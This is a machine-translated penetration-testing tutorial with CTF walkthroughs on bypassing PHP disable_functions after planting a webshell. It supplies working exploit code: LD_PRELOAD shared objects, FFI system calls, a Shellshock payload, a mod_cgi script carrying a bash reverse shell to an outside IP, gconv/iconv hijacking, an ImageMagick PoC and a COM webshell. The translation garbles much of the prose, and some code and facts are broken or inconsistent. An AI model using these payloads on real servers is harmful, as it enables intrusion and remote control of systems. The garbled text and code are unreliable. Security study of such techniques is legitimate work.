preface
In the penetration test, sometimes the command cannot be executed after getting the webshell. In order to successfully raise the right, we need to bypass disable_function
disable_ Introduction to function
disable_ Functions is a setting option in php.ini. It can be used to set the PHP environment to prohibit the use of some functions. It is usually used by the website administrator to disable some dangerous command execution functions for security reasons. (eval is not a PHP function and cannot be disabled in disable_functions. To disable the extension Suhosin that requires PHP.)
Bypass method
1. Find functions that are not disabled
If the blacklist is bypassed, there will inevitably be missing functions. We can check the phpinfo file to see if there are dangerous functions that are not disabled
For example: dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
2. Use LD_PRELOAD environment variable
brief introduction
LD_PRELOAD is an environment variable of Linux system. It can affect the Runtime linker of the program. It allows you to define the dynamic link library that is loaded first before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries. Through this environment variable, we can load other dynamic link libraries between the main program and its dynamic link library, and even overwrite the normal function library. On the one hand, we can use our own or better functions with this function (without other people's source code), on the other hand, we can also inject programs into other people's programs to achieve specific purposes.
Method 1: Hijacking function
Generally speaking, the vulnerability is used to control the web to start a new process a.bin (even if the process name cannot be specified arbitrarily). The new process a.bin calls the system function b(). b() is located in the system shared object c.so. Therefore, the system loads the shared object c.so for the process and tries to give priority to loading controllable c.so before loading c.so_ evil.so,c_evil.so contains a malicious function with the same name as b(), because c_evil.so has a higher priority, so a.bin will call C_ b() in evil.so instead of b() in c.so of the system, and c_evil.so is controllable to achieve the purpose of executing malicious code.
Therefore, our breakthrough ideas are as follows
1.Find a function that can start a new process, such as mail()Function starts a new process /usr/sbin/sendmail 2.Write one that will be sendmail Invoked C Function (the function should preferably be without parameters). The internal code is malicious code and compiled as.so Documents, such as getuid()function 3.function PHP function putenv(),Set our so File as LD_PRELOAD,After setting, the new process will be preferentially loaded when it starts so file 4.function PHP of mail()Function, at this time sendmail Will call us to write getuid The function with the same name achieves the effect of hijacking and executing malicious code
First, check which functions sendmail will call. Here, we choose geteuid function or other functions to hijack
readelf -Ws /usr/sbin/sendmail
#readelf will only display the functions that sendmail may call. The specific functions to be called should be viewed using strace -f
When I was experimenting, I issued the command sendmail, so I downloaded it again under kali
apt install courier-mta
apt install dma
apt install esmtp-run
apt install exim4-daemon-heavy
apt install exim4-daemon-light
apt install msmtp-mta
apt install nullmailer
apt install opensmtpd
apt install postfix
apt install ssmtp
Then use the above command
Then write the C file. The purpose is not to display the files in the current directory
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("ls"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
After writing the php file, set the environment variable and execute the mail function
<?php putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#File location after compiling c file mail("","","",""); ?>
Compile the c file and execute the php file
gcc hack.c -o hack.so -shared -fPIC
Shit, the compilation failed. I haven't found the reason for it for a long time
. . . . Finally, a semicolon was added to the blank line where the error was reported. It was successful. I don't understand the reason. I hope the masters can answer it.
Then, we went on to execute a/php and found that the ls command was executed successfully
Preload shared objects
In practice, sendmail has not been installed or disabled on many machines, and it is impossible to change php.ini configuration and install sendmail software with normal www data permissions, so disable can be bypassed in another way_ function
The system passes LD_PRELOAD preloads the object. If it is loaded, it will be called directly without hijacking
gcc allows you to set the following properties for the function. You can make the modified function execute before the mail() function. If it appears in the shared object, it will be executed immediately once the shared object is loaded by the system
__attribute__((__constructor__)) //The constructor parameter allows the function to be modified by the __attribute__((constructor)) function before the system executes the main() function.
Here is the hack.c code
#include <stdlib.h> #include <string.h> __attribute__((constructor))void payload() { unsetenv("LD_PRELOAD"); const char* cmd = getenv("CMD");//Receive incoming commands system(cmd);//Execute command }
Here is the php code
<?php putenv("CMD=ls");#Command to execute putenv("LD_PRELOAD=/home/kali/Desktop/hack.so");#File location after compiling c file error_log("a",1); ?>
Compile the. c file and run it. The malicious command has been executed
gcc hack.c -o hack.so -shared -fPIC
The result is the same as above
Service conditions
linux system
putenv()
mail or error_log
The directory is writable, and the. so file needs to be uploaded
Example demonstration
LD_PRELOAD of web advanced Bypass disable_function in ctfhub
I know everything. I can't execute commands
First, upload the. So file and. php file [because the command cannot be executed under the shell, it will not be compiled under gcc, so upload the compiled. So file]
c document code
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("tec /flag > /var/www/html/flag.txt"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
php file code
<?php putenv("LD_PRELOAD=/var/www/html/hack.so");# mail("","","",""); ?>
Access the target url/test.php in the web browser. After refreshing the directory, it is not found that flag.txt appears. It is speculated that the mail function is disabled, and sendmail will call error_log to modify the PHP file.
<?php putenv("LD_PRELOAD=/var/www/html/hack.so"); mail("","","",""); error_log("",1,"",""); ?>
After the modification is executed, the php file appears
function
mail
Strace - f PHP ld_preload.php 2 > & 1 | grep execve # view the process created when the PHP file is executed
We can see that when the mail() function is called, a new process is created to call the system function / usr/sbin/sendmail
In fact, in addition to the first call to the PHP interpreter itself, it also calls / bin/sh, so you can hijack the system library functions called by / bin/sh
When sendmail is not installed on the target system, hijacking the library function of / bin/sh here is a breakthrough
Execve (executable file) fork a sub process in the parent process, calling the exec function in the sub process to start the new program. There are six exec functions, execve is the kernel level system call, the other (execl, execle, execlp, execv, execvp) are the library function execve() that calls execve. It is used to execute the file path represented by the parameter filename string. The second parameter is passed to the execution file by using the pointer array and needs to end with a null pointer (NULL). The last parameter is the new environment variable array passed to the execution file.
readelf -Ws /usr/sbin/sendmail # view the system library functions that / usr/sbin/sendmail may call
#readelf -Ws /bin/sh
error_log()
/ bin/sh, / usr/sbin/sendmail are also called, which is similar to mail()
mb_send_mail()
You need to install the mbstring module, which is similar to mail()
imap_mail()
In addition, the libvirt_connect() function of libvirt module and gnupg_init() function of gnupg module are basically used in the same way
Non hijacking function
__ attribute__ introduce
__ attribute__ You can set function attribute, variable attribute, and type attribute
__ attribute__ The syntax format is:__ attribute__ ((attribute list)) if the function is set to the constructor attribute, the function will be automatically executed before the main() function is executed
Similarly, if function is set to destructor property, it will be executed automatically after main() function is executed or exit() is called
Similar constructors and destructors
If it appears in the shared object, once the shared object is loaded by the system, the function decorated with attribute((constructor)) will be executed immediately. Therefore, there is no need to consider hijacking a function, as long as it can ld_preload and execute php to call the new process, which can hijack the shared object and bypass disable function
Simple exp:
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); system("whoami > /tmp/leon"); }
However, unseenv() may not be valid on Centos, because Centos also hook s unseenv() and starts other processes inside it, so it is too late to delete LD_PRELOAD is hijacked again, resulting in an infinite loop. You can use the global variable extern char** environ to delete it. In fact, unseenv() is the environment variable deletion function implemented by simply encapsulating environ
stay https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c saw a tip:
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }
Modify LD using for loop_ The first character of preload is changed to \ 0, which can automatically invalidate the original environment variables of the system
3. Use PHP7.4 FFI
Principle introduction
FFI (Foreign Function Interface), that is, external function interface, refers to the technology of calling code in another language in one language. The FFI extension of PHP is a technology that allows you to call C code in PHP. The use of FFI only needs two steps: Declaration and call
Service conditions
-
Linux operating system
-
PHP >= 7.4
-
FFI extension is enabled and ffi.enable=true
Declare FFI and use the System function of C language
$ffi = FFI::cdef("int system(char* command);");
Example demonstration
The title is taken from the advanced web bypass disable in ctfhub_ FFI extension of function
Command execution is still blocked
Upload exp
<?php $ffi = FFI::cdef("int system(const char *command);");#Declare ffi and call the system function $ffi->system("tac /flag > /tmp/111");#Execute the command in readflag to read the flag echo file_get_contents("/tmp/111"); @unlink("/tmp/111");#Delete 111 files
Direct access to submit
4. Use shellshock(CVE-2014-6271)
Principle introduction
At present, the environment variables used by bash are called through the function name, which leads to the vulnerability. The problem is that after the environment variables defined at the beginning of "() {" are parsed into functions in the command ENV, bash execution does not exit, but continues to parse and execute shell commands. The core reason is that there are no strict boundaries in the input filtering and no legitimate parameter judgment.
The attacker only needs to write the malicious code into the environment variable, transfer it to the server, and trigger the server to run bash script
Service conditions
-
The target has a shellshock vulnerability
-
The version is PHP 5.0*
-
linux system
-
putenv() available
Example demonstration
The title is taken from Shellshock of the web advanced Bypass disable_function in ctfhub
Upload exp
<?php putenv("PHP_flag=() { :; }; tac /flag >> /var/www/html/flag.txt");#Set the environment variable and input flag into flag.txt error_log("",1,"","");
When I connected this level, I didn't succeed directly. I changed the encryption method to base64, and decryption succeeded
Get the flag after accessing exp
5. Using Apache Mod CGI
Principle introduction
CGI: CGI, the common gateway interface, is a Web server and external application (CGI program) Through CGI interface, the Web server can transfer the information submitted by the client to the CGI program on the server for processing, and finally return the results to the client. CGI is an executable program placed on the server. There is no specific language for CGI programming. CGI programming can be carried out in C language, linux shell,perl,vb, etc.
MOD_CGI: any file with MIME type application/x-httpd-cgi or processed by the CGI script processor will be treated as a CGI script and run by the server, and its output will be returned to the client. There are two ways to make the file a CGI script: one is that the file has an extension defined by the AddType instruction, and the other is that the file is located in the ScriptAlias directory
If you want to temporarily allow a directory to execute cgi programs and enable the server to resolve the custom suffix to cgi programs, you can use the htaccess file in the destination directory for configuration
Options +ExecCGI
AddHandler cgi-script .aaa
Then set the shell file ending in. aaa (shell.aaa)
#!/bin/bash echo;whoami;uname -a
After uploading. htacess and shell files to the specified directory, you need to give the shell file execution permission. The following is the boss's exp
<?php $cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed "nc -c '/bin/bash' 10.11.12.13 8888" $shellfile = "#!/bin/bash\n"; //using a shellscript $shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= "$cmd"; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ? $yes : $no) . "<br>\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script } } ?>
After uploading exp, a shell.puzzle file will be generated with the contents of
#!/bin/bash echo -ne "Content-Type: text/html\n\n" bash -i >& /dev/tcp/119.29.60.71/2333 0>&1
The conditions of use are
apache environment
mod_cgi is enabled
Allow. htaccess files, that is, in httpd.conf, note that the AllowOverride option is All, not none
Have permission to write. htaccess files
Example demonstration
The title is taken from Apache Mod CGI of web advanced Bypass disable_function in ctfhub
Use the tool given by ant sword to bypass. When the command window pops up, use tac /flag to read the flag
If you bypass manually, upload test.php online, as follows
<?php $cmd = "tac /flag"; //command to be executed $shellfile = "#!/bin/bash\n"; //using a shellscript $shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= "$cmd"; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ? $yes : $no) . "<br>\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script } } ?>
After the browser accesses test.php, the. htacess and shell.puzzle files will appear to view the contents of the files
Options +ExecCGI AddHandler cgi-script .dizzle
#!/bin/bash echo -ne "Content-Type: text/html\n\n" tac /flag
Visit shell.puzzle to get the flag
6. Using PHP FPM
Principle introduction
Before understanding FPM, you need to understand fast CGI
https://juejin.cn/post/6844903471976546311#heading-11
In the early days, webserver only handled static files such as html, but with the development of technology, dynamic languages such as php appeared. If webserver can't handle it, what should we do? Let the php interpreter handle it! It's good to let the php interpreter handle it, but how can the php interpreter communicate with webserver? In order to solve different language interpreters (such as php and python Interpreters) As long as you write programs according to cgi protocol, you can realize the communication between language interpreter and webwerver, such as php cgi program.
With cgi protocol, the problem of communication between php interpreter and web server is solved, and web server can finally deal with dynamic language.
However, every time the webserver receives a request, it will fork a cgi process, and then kill the process after the request is completed. In this way, 10000 requests need to fork and kill the PHP cgi process 10000 times. This is a waste of resources. Therefore, an improved version of cgi, fast cgi, appears. Fast cgi will not kill the process after each request is processed, but will keep the process to make it easier The process can process multiple requests at a time, so there is no need to fork one process at a time, which greatly improves the efficiency.
PHP FPM is PHP FastCGI process manager. PHP FPM is the implementation of FastCGI and provides the function of process management. Processes include master processes and worker processes. There is only one master process, which is responsible for listening to the port and receiving requests from the Web Server, while there are generally multiple worker processes (the specific number is configured according to the actual needs). A PHP interpreter is embedded in each process, which is the place where the PHP code is really executed.
Since FPM listens to port 9000 by default, we can bypass webserver and communicate directly with FPM by constructing fastcgi protocol
Service conditions
linux system putenv()available mail()or error_log()available
Example demonstration
The title is taken from the advanced web bypass disable in ctfhub_ PHP-FPM for function
You can make a breakthrough according to the plug-in of ant sword
FPM selection 127.0.0.1:9000
After the upload is successful, a. antproxy.php file will be generated in the folder
Then we connect to this file. The password is ant
After connecting, we can execute the corresponding command to read the flag
We can refer to the principle of plug-in
https://segmentfault.com/a/1190000038646341
Let's first look at the contents of the generated php file
?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $headers[]="$k:$v"; } } return $headers; } function header_callback($str){ return strtoupper($str[0]); } function parseHeader($sResponse){ list($headerstr,$sResponse)=explode(" ",$sResponse, 2); $ret=array($headerstr,$sResponse); if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){ $ret=parseHeader($sResponse); } return $ret; } set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){ return false; } $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') { $method = "POST"; $post_data = file_get_contents('php://input'); } $out = $method." ".$url." HTTP/1.1rn"; $out .= "Host: ".$host.":".$port."rn"; if (!empty($_SERVER['CONTENT_TYPE'])) { $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."rn"; } $out .= "Content-length:".strlen($post_data)."rn"; $out .= implode("rn",$headers); $out .= "rnrn"; $out .= "".$post_data; fputs($fp, $out); $response = ''; while($row=fread($fp, 4096)){ $response .= $row; } fclose($fp); $pos = strpos($response, "rnrn"); $response = substr($response, $pos+4); echo $response;
Core code:
$headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout);
You can see that it is communicating with port 60882. In fact, here, ant sword uses / bin/sh -c php -S 127.0.0.1:60082 -t /var/www/html to start a new PHP service, which is not applicable to php.ini, so there is no disable. When we observe its execution, we also find an so file in the tmp directory, So far, we have reason to infer that it modifies its extension to the extension library uploaded in the tmp directory by attacking PHP FPM. In fact, we can know from the source code of the plug-in that it is indeed true:
After the php server is started, our traffic will be forwarded to the php server without disabel through antproxy.php. At this time, bypass is successfully achieved.
7. Use iconv
Principle introduction
https://blog.csdn.net/qq_42303523/article/details/117911859
iconv is the name of a computer program and a set of application programming interfaces. iconv, as an application, adopts a command-line interface, which allows the conversion of a file with a specific encoding to another encoding.
We first upload a gconv moudles file to specify the. so file of our custom character set file, with the content of
module Custom character set name (uppercase)//International.. /.. /.. /.. /.. /.. /.. /.. /.. / TMP / custom character set name (lower case) 2 module INTERNAL Custom character set name (uppercase)//.. /.. /.. /.. /.. /.. /.. /.. /.. / tmp / custom character set name (lower case) 2
Then write the. c file, which contains the command functions we want to execute, and package the file as a. so file
#include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { system("Command you want to execute"); }
Then execute the shell command and upload the file to the same folder as the gconv modules file
gcc Source code file name.c -o Custom character set name.so -shared -fPIC
Write a. php file, upload the directory, and then access it
<?php putenv("GCONV_PATH=gconv-modules File directory"); iconv("Custom character set name", "UTF-8", "whatever");
Service conditions
- php has iconv related modules installed
- Directory writable
Example demonstration
The title is taken from the advanced web bypass disable in ctfhub_ iconv of function
After the ant sword connects to the website, upload the gconv modules file to the / tmp directory
module HACK// INTERNAL ../../../../../../../../tmp/hack 2 module INTERNAL HACK// ../../../../../../../../tmp/hack 2
Write hack.c file
#include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { system("cat /flag > /tmp/flag"); }
Now kali compiles it in gcc and uploads the. so file to the / tmp directory
Finally, upload the flag.php file under / var/www/html
<?php putenv("GCONV_PATH=/tmp/"); iconv("hack", "UTF-8", "whatever");
You can find the flag under / tmp
8. Use GC UAF / backtrace UAF / Jason serializer UAF
Principle introduction
GC UAF vulnerability exploits heap overflow in PHP garbage collector to bypass disable_functions and execute system commands.
The following url is the exp link
https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
GC UAF vulnerability exploits heap overflow in PHP garbage collector to bypass disable_functions and execute system commands.
The Json Serializer UAF vulnerability exploits a heap overflow trigger in the json serializer to bypass disable_functions and execute system commands. Although there is no guarantee of success, it should be used fairly reliably on all server APIs.
To use exp, you only need to modify the commands in pwn
Service conditions
GC(UAF)
- linux system
- php7.0~7.3
Backtrace UAF
- linux operating system
- php version
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
Example demonstration
The title is taken from the advanced web bypass disable in ctfhub_ GC UAF of function
Modify pwn in exp to access the file to get the flag
pwn("tac /flag");
9. Use imageMagick(CVE-2016-3714)
Principle introduction
ImageMagick is an open source image processing library, which supports PHP, Ruby, NodeJS, Python and other languages and is widely used. Many image processing plug-ins, including PHP imagick, Ruby rmagick, paperclip and NodeJS imagemagick, rely on it to run.
If you want to exploit the vulnerability, you only need to upload carefully crafted images. ImageMagick will automatically convert the image format and execute malicious code.
Vulnerability principle reference p God blog
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
ImageMagick has a function called delegate, which is used to call external lib to process files. The process of calling external lib is executed by using the system command of the system. Firstly, many placeholders are defined in the delegate.xml file, such as% i is the input file name and% l is the picture exif label information. In the subsequent command, some placeholders are spliced in it. The spliced command line is passed into the system function of the system, resulting in the execution of any command.
Service conditions
- The target host has a vulnerable version of imagemagic (< = 3.3.0) installed
- The PHP imagick extension is installed and enabled in php.ini
- Write php to process image format files through new imagick objects
- php >=5.4
Example demonstration
Using an existing docker demo
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
After opening the environment, access the phpinfo file and view disable_function, an unopened imagemagic service was found
According to the description of this shooting range, we perform
The convert /poc.png 1.png command will actually trigger the written command execution logic
View its poc as
push graphic-context viewbox 0 0 640 480 fill 'url(https://evalbug.com/"|ls -la")' pop graphic-context
The convert command is like this in linux: convert is a file system modification command in Windows. Convert converts the file allocation table (FAT) and FAT32 volumes to NTFS file system, while the existing files and folders are intact.
According to the principle of imagemagick, when processing poc.png, imagemagick will use the curl command to download it. This is the delegate of imagemagick to process images, where% o is the file name output by curl and% M is the remote URL path
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>
The% M in command can be spliced with other instructions and executed on the command line. This vulnerability is also caused by the fact that the spliced command line is passed into the system function, and we only need to use backquotes (`) or closed double quotes to execute arbitrary commands. We use poc to execute commands
As shown in the figure, the command is executed successfully
10. Using windows com components
Principle introduction
COM component is a new software development technology developed by Microsoft for the software production of computer industry to be more in line with human behavior. It is composed of executable code published in the form of WIN32 dynamic link library (DLL) or executable file (EXE).
After loading this component, upload the utilization script that can execute system commands (it can be uploaded through the existing webshell or directly like the upload shell):
<?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); // Shell.Application can also generate a COM object $exec = $wsh->exec("cmd /c ".$command); // Call object methods to execute commands $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
The disadvantage of this method is that the com component is loaded by default only in PHP version 5.4. If it is not version 5.4, it needs to be opened manually
Utilization conditions
- php open COM service
- windows system
Example demonstration
Set up a local environment and visit the phpinfo page
Upload script access
reference resources
https://clq0.top/bypass-disable_function-php/#reference
https://www.freebuf.com/articles/web/280446.html